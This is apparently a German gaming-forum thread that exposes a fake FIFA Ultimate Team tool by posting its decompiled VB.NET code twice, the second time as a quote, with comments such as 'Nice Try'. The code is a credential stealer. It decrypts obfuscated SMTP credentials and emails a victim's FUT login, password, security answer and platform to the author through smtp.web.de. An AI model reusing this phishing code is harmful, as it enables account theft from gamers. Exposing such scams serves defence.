war wohl ein fake.
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.password = "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
Me.code = "œŠ›°ª" & ChrW(129) & "Ž" & ChrW(141) & "ƒŠ¼œƒÞ"
Me.email = Me.VerEntschlüsseln(Me.code, Me.password)
If Not Strings.Trim(Me.ComboBox1.Text).Contains("@") Then
Interaction.MsgBox("Please enter your real Email-Adress", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.TextBox1.Text = "") Then
Interaction.MsgBox("Please enter a password!", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.TextBox2.Text = "") Then
Interaction.MsgBox("Please enter an answer to your security question.", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.ComboBox2.Text = "") Then
Interaction.MsgBox("Please choose your platform.", MsgBoxStyle.Critical, "Error!")
Else
Me.smtpServer.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]", Me.email)
Me.smtpServer.Port = &H24B
Me.smtpServer.Host = "smtp.web.de"
Me.smtpServer.EnableSsl = True
Me.mail = New MailMessage
Me.mail.From = New MailAddress("[Only registered and activated users can see links. Click Here To Register...]")
Me.mail.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
Me.mail.Subject = ("Log von " & Me.ComboBox1.Text)
Me.mail.Body = String.Concat(New String() { "Fifa Ultimate Team Email: ", Me.ComboBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: ", Me.TextBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: ", Me.TextBox2.Text, ChrW(13) & ChrW(10) & "Plattform: ", Me.ComboBox2.Text })
Me.smtpServer.Send(Me.mail)
End If
End Sub
Ah, ein bisschen zu langsam war ich dann doch :DQuote:
PHP Code:
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.password = "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
Me.code = "œŠ›°ª" & ChrW(129) & "Ž" & ChrW(141) & "ƒŠ¼œƒÞ"
Me.email = Me.VerEntschlüsseln(Me.code, Me.password)
If Not Strings.Trim(Me.ComboBox1.Text).Contains("@") Then
Interaction.MsgBox("Please enter your real Email-Adress", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.TextBox1.Text = "") Then
Interaction.MsgBox("Please enter a password!", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.TextBox2.Text = "") Then
Interaction.MsgBox("Please enter an answer to your security question.", MsgBoxStyle.Critical, "Error!")
ElseIf (Me.ComboBox2.Text = "") Then
Interaction.MsgBox("Please choose your platform.", MsgBoxStyle.Critical, "Error!")
Else
Me.smtpServer.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]", Me.email)
Me.smtpServer.Port = &H24B
Me.smtpServer.Host = "smtp.web.de"
Me.smtpServer.EnableSsl = True
Me.mail = New MailMessage
Me.mail.From = New MailAddress("[Only registered and activated users can see links. Click Here To Register...]")
Me.mail.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
Me.mail.Subject = ("Log von " & Me.ComboBox1.Text)
Me.mail.Body = String.Concat(New String() { "Fifa Ultimate Team Email: ", Me.ComboBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: ", Me.TextBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: ", Me.TextBox2.Text, ChrW(13) & ChrW(10) & "Plattform: ", Me.ComboBox2.Text })
Me.smtpServer.Send(Me.mail)
End If
End Sub
Nice Try